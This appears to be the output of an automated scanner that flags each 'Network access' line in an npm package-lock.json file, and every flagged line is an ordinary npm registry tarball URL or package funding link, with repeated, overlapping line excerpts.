    "funding": {         "type": "github",         "url": "https://github.com/sponsors/epoberezkin"
  • Network accessline 1929
    "type": "github",         "url": "https://github.com/sponsors/epoberezkin"       }
  • Network accessline 1930
    "url": "https://github.com/sponsors/epoberezkin"
  • Network accessline 1933
    "node_modules/ansi-styles": {       "version": "4.3.0",       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
  • Network accessline 1934
    "version": "4.3.0",       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",       "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
  • Network accessline 1935
    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
  • Network accessline 1944
    },       "funding": {         "url": "https://github.com/chalk/ansi-styles?sponsor=1"
  • Network accessline 1945
    "funding": {         "url": "https://github.com/chalk/ansi-styles?sponsor=1"       }
  • Network accessline 1946
    "url": "https://github.com/chalk/ansi-styles?sponsor=1"
  • Network accessline 1949
    "node_modules/any-promise": {       "version": "1.3.0",       "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
  • Network accessline 1950
    "version": "1.3.0",       "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",       "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==",
  • Network accessline 1951
    "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
  • Network accessline 1956
    "node_modules/anymatch": {       "version": "3.1.3",       "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
  • Network accessline 1957
    "version": "3.1.3",       "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",       "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
  • Network accessline 1958
    "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
  • Network accessline 1970
    "node_modules/arg": {       "version": "5.0.2",       "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
  • Network accessline 1971
    "version": "5.0.2",       "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",       "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==",
  • Network accessline 1972
    "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
  • Network accessline 1977
    "node_modules/argparse": {       "version": "2.0.1",       "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
  • Network accessline 1978
    "version": "2.0.1",       "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",       "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
  • Network accessline 1979
    "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
  • Network accessline 1984
    "node_modules/autoprefixer": {       "version": "10.6.1",       "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.6.1.tgz",
  • Network accessline 1985
    "version": "10.6.1",       "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.6.1.tgz",       "integrity": "sha512-cL1Qz6ADZhcEbny/8HPfe99J6HhNoYtpX2LFLIbhgGE7Q1hlQVkYFdetDN7Id3KiQxhDrHwzlHr/YQCnZ8+xSA==",
  • Network accessline 1986
    "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.6.1.tgz",
  • Network accessline 1990
    {           "type": "opencollective",           "url": "https://opencollective.com/postcss/"
  • Network accessline 1991
    "type": "opencollective",           "url": "https://opencollective.com/postcss/"         },
  • Network accessline 1992
    "url": "https://opencollective.com/postcss/"
  • Network accessline 1994
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/autoprefixer"
  • Network accessline 1995
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/autoprefixer"         },
  • Network accessline 1996
    "url": "https://tidelift.com/funding/github/npm/autoprefixer"
  • Network accessline 1998
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 1999
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 2000
    "url": "https://github.com/sponsors/ai"
  • Network accessline 2021
    "node_modules/balanced-match": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
  • Network accessline 2022
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",       "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
  • Network accessline 2023
    "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
  • Network accessline 2028
    "node_modules/baseline-browser-mapping": {       "version": "2.11.26",       "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.11.26.tgz",
  • Network accessline 2029
    "version": "2.11.26",       "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.11.26.tgz",       "integrity": "sha512-GLQdD3y6UF8iVuMJl5fHgE4jdn/ua7n+toKfLgNlg3BqQtOZjpy68T8Tup8/wGWZCDlm7KMg7tPb4MP
  • Network accessline 2030
    "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.11.26.tgz",
  • Network accessline 2041
    "node_modules/binary-extensions": {       "version": "2.3.0",       "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz",
  • Network accessline 2042
    "version": "2.3.0",       "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz",       "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==",
  • Network accessline 2043
    "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz",
  • Network accessline 2049
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 2050
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 2051
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 2054
    "node_modules/brace-expansion": {       "version": "1.1.12",       "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",
  • Network accessline 2055
    "version": "1.1.12",       "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",       "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==",
  • Network accessline 2056
    "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",
  • Network accessline 2065
    "node_modules/braces": {       "version": "3.0.3",       "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
  • Network accessline 2066
    "version": "3.0.3",       "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",       "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
  • Network accessline 2067
    "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
  • Network accessline 2078
    "node_modules/browserslist": {       "version": "4.29.2",       "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.29.2.tgz",
  • Network accessline 2079
    "version": "4.29.2",       "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.29.2.tgz",       "integrity": "sha512-/u9r8k8ue4ZhHCw9ovDtltpWdXeXzjhdxCGj6vm1RGLPXb8lu33EMdoCHF5Sx8oYBS+Q/FYYNmAqlHncxR3RmA==",
  • Network accessline 2080
    "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.29.2.tgz",
  • Network accessline 2084
    {           "type": "opencollective",           "url": "https://opencollective.com/browserslist"
  • Network accessline 2085
    "type": "opencollective",           "url": "https://opencollective.com/browserslist"         },
  • Network accessline 2086
    "url": "https://opencollective.com/browserslist"
  • Network accessline 2088
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/browserslist"
  • Network accessline 2089
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/browserslist"         },
  • Network accessline 2090
    "url": "https://tidelift.com/funding/github/npm/browserslist"
  • Network accessline 2092
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 2093
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 2094
    "url": "https://github.com/sponsors/ai"
  • Network accessline 2112
    "node_modules/callsites": {       "version": "3.1.0",       "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
  • Network accessline 2113
    "version": "3.1.0",       "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",       "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
  • Network accessline 2114
    "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
  • Network accessline 2122
    "node_modules/camelcase-css": {       "version": "2.0.1",       "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
  • Network accessline 2123
    "version": "2.0.1",       "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",       "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==",
  • Network accessline 2124
    "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
  • Network accessline 2132
    "node_modules/caniuse-lite": {       "version": "1.0.30001813",       "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001813.tgz",
  • Network accessline 2133
    "version": "1.0.30001813",       "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001813.tgz",       "integrity": "sha512-zfjJo4rM0+fUomGDBW/xcDjhIwz/210DGvip2MAMDZ8KHcRPnOHmEgHPZP0UHlZoxr8fYKVJOqcORhYQcG4FKQ==",
  • Network accessline 2134
    "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001813.tgz",
  • Network accessline 2138
    {           "type": "opencollective",           "url": "https://opencollective.com/browserslist"
  • Network accessline 2139
    "type": "opencollective",           "url": "https://opencollective.com/browserslist"         },
  • Network accessline 2140
    "url": "https://opencollective.com/browserslist"
  • Network accessline 2142
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
  • Network accessline 2143
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/caniuse-lite"         },
  • Network accessline 2144
    "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
  • Network accessline 2146
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 2147
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 2148
    "url": "https://github.com/sponsors/ai"
  • Network accessline 2153
    "node_modules/chalk": {       "version": "4.1.2",       "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
  • Network accessline 2154
    "version": "4.1.2",       "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",       "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
  • Network accessline 2155
    "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
  • Network accessline 2165
    },       "funding": {         "url": "https://github.com/chalk/chalk?sponsor=1"
  • Network accessline 2166
    "funding": {         "url": "https://github.com/chalk/chalk?sponsor=1"       }
  • Network accessline 2167
    "url": "https://github.com/chalk/chalk?sponsor=1"
  • Network accessline 2170
    "node_modules/chokidar": {       "version": "3.6.0",       "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz",
  • Network accessline 2171
    "version": "3.6.0",       "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz",       "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==",
  • Network accessline 2172
    "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz",
  • Network accessline 2187
    },       "funding": {         "url": "https://paulmillr.com/funding/"
  • Network accessline 2188
    "funding": {         "url": "https://paulmillr.com/funding/"       },
  • Network accessline 2189
    "url": "https://paulmillr.com/funding/"
  • Network accessline 2195
    "node_modules/chokidar/node_modules/glob-parent": {       "version": "5.1.2",       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
  • Network accessline 2196
    "version": "5.1.2",       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",       "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
  • Network accessline 2197
    "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
  • Network accessline 2208
    "node_modules/color-convert": {       "version": "2.0.1",       "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
  • Network accessline 2209
    "version": "2.0.1",       "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",       "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
  • Network accessline 2210
    "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
  • Network accessline 2221
    "node_modules/color-name": {       "version": "1.1.4",       "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
  • Network accessline 2222
    "version": "1.1.4",       "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",       "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
  • Network accessline 2223
    "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
  • Network accessline 2228
    "node_modules/commander": {       "version": "4.1.1",       "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
  • Network accessline 2229
    "version": "4.1.1",       "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",       "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
  • Network accessline 2230
    "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
  • Network accessline 2238
    "node_modules/concat-map": {       "version": "0.0.1",       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
  • Network accessline 2239
    "version": "0.0.1",       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",       "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
  • Network accessline 2240
    "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
  • Network accessline 2245
    "node_modules/convert-source-map": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
  • Network accessline 2246
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",       "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==",
  • Network accessline 2247
    "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
  • Network accessline 2252
    "node_modules/cookie": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz",
  • Network accessline 2253
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz",       "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==",
  • Network accessline 2254
    "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz",
  • Network accessline 2260
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 2261
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 2262
    "url": "https://opencollective.com/express"
  • Network accessline 2265
    "node_modules/cross-spawn": {       "version": "7.0.6",       "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
  • Network accessline 2266
    "version": "7.0.6",       "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",       "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
  • Network accessline 2267
    "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
  • Network accessline 2280
    "node_modules/cssesc": {       "version": "3.0.0",       "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
  • Network accessline 2281
    "version": "3.0.0",       "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",       "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
  • Network accessline 2282
    "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
  • Network accessline 2293
    "node_modules/csstype": {       "version": "3.2.3",       "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
  • Network accessline 2294
    "version": "3.2.3",       "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",       "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==",
  • Network accessline 2295
    "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
  • Network accessline 2300
    "node_modules/debug": {       "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 2301
    "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",       "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
  • Network accessline 2302
    "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 2318
    "node_modules/deep-is": {       "version": "0.1.4",       "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
  • Network accessline 2319
    "version": "0.1.4",       "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",       "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==",
  • Network accessline 2320
    "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
  • Network accessline 2325
    "node_modules/didyoumean": {       "version": "1.2.2",       "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
  • Network accessline 2326
    "version": "1.2.2",       "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",       "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==",
  • Network accessline 2327
    "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
  • Network accessline 2332
    "node_modules/dlv": {       "version": "1.1.3",       "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
  • Network accessline 2333
    "version": "1.1.3",       "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",       "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==",
  • Network accessline 2334
    "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
  • Network accessline 2339
    "node_modules/dompurify": {       "version": "3.2.7",       "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.2.7.tgz",
  • Network accessline 2340
    "version": "3.2.7",       "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.2.7.tgz",       "integrity": "sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw==",
  • Network accessline 2341
    "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.2.7.tgz",
  • Network accessline 2349
    "node_modules/electron-to-chromium": {       "version": "1.5.439",       "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.439.tgz",
  • Network accessline 2350
    "version": "1.5.439",       "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.439.tgz",       "integrity": "sha512-qu6QIPXhsb+CRcAiTMNjR4A1y/7tCYKkKjr5CZXRVih6qkDf79peZ2BpEU3qoDBNCRrcy3Mra3X9nG5oruuA7Q=
  • Network accessline 2351
    "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.439.tgz",
  • Network accessline 2356
    "node_modules/esbuild": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",
  • Network accessline 2357
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",       "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==",
  • Network accessline 2358
    "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",
  • Network accessline 2398
    "node_modules/escalade": {       "version": "3.2.0",       "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
  • Network accessline 2399
    "version": "3.2.0",       "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",       "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
  • Network accessline 2400
    "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
  • Network accessline 2408
    "node_modules/escape-string-regexp": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
  • Network accessline 2409
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",       "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
  • Network accessline 2410
    "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
  • Network accessline 2416
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 2417
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 2418
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 2421
    "node_modules/eslint": {       "version": "9.39.4",       "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.4.tgz",
  • Network accessline 2422
    "version": "9.39.4",       "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.4.tgz",       "integrity": "sha512-XoMjdBOwe/esVgEvLmNsD3IRHkm7fbKIUGvrleloJXUZgDHig2IPWNniv+GwjyJXzuNqVjlr5+4yVUZjycJwfQ==",
  • Network accessline 2423
    "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.4.tgz",
  • Network accessline 2468
    },       "funding": {         "url": "https://eslint.org/donate"
  • Network accessline 2469
    "funding": {         "url": "https://eslint.org/donate"       },
  • Network accessline 2470
    "url": "https://eslint.org/donate"
  • Network accessline 2481
    "node_modules/eslint-plugin-react-hooks": {       "version": "5.2.0",       "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.2.0.tgz",
  • Network accessline 2482
    "version": "5.2.0",       "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.2.0.tgz",       "integrity": "sha512-+f15FfK64YQwZdJNELETdn5ibXEUQmW1DZL6KXhNnc2heoy/sg9VJJeT7n8TlMWouzWqSWavFkIhHyIbI
  • Network accessline 2483
    "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.2.0.tgz",
  • Network accessline 2494
    "node_modules/eslint-plugin-react-refresh": {       "version": "0.4.26",       "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.26.tgz",
  • Network accessline 2495
    "version": "0.4.26",       "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.26.tgz",       "integrity": "sha512-1RETEylht2O6FM/MvgnyvT+8K21wLqDNg4qD51Zj3guhjt433XbnnkVttHMyaVyAFD03QSV4LPS
  • Network accessline 2496
    "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.26.tgz",
  • Network accessline 2504
    "node_modules/eslint-scope": {       "version": "8.4.0",       "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz",
  • Network accessline 2505
    "version": "8.4.0",       "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz",       "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==",
  • Network accessline 2506
    "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz",
  • Network accessline 2516
    },       "funding": {         "url": "https://opencollective.com/eslint"
  • Network accessline 2517
    "funding": {         "url": "https://opencollective.com/eslint"       }
  • Network accessline 2518
    "url": "https://opencollective.com/eslint"
  • Network accessline 2521
    "node_modules/eslint-visitor-keys": {       "version": "4.2.1",       "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz",
  • Network accessline 2522
    "version": "4.2.1",       "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz",       "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==",
  • Network accessline 2523
    "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz",
  • Network accessline 2529
    },       "funding": {         "url": "https://opencollective.com/eslint"
  • Network accessline 2530
    "funding": {         "url": "https://opencollective.com/eslint"       }
  • Network accessline 2531
    "url": "https://opencollective.com/eslint"
  • Network accessline 2534
    "node_modules/espree": {       "version": "10.4.0",       "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz",
  • Network accessline 2535
    "version": "10.4.0",       "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz",       "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==",
  • Network accessline 2536
    "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz",
  • Network accessline 2547
    },       "funding": {         "url": "https://opencollective.com/eslint"
  • Network accessline 2548
    "funding": {         "url": "https://opencollective.com/eslint"       }
  • Network accessline 2549
    "url": "https://opencollective.com/eslint"
  • Network accessline 2552
    "node_modules/esquery": {       "version": "1.7.0",       "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz",
  • Network accessline 2553
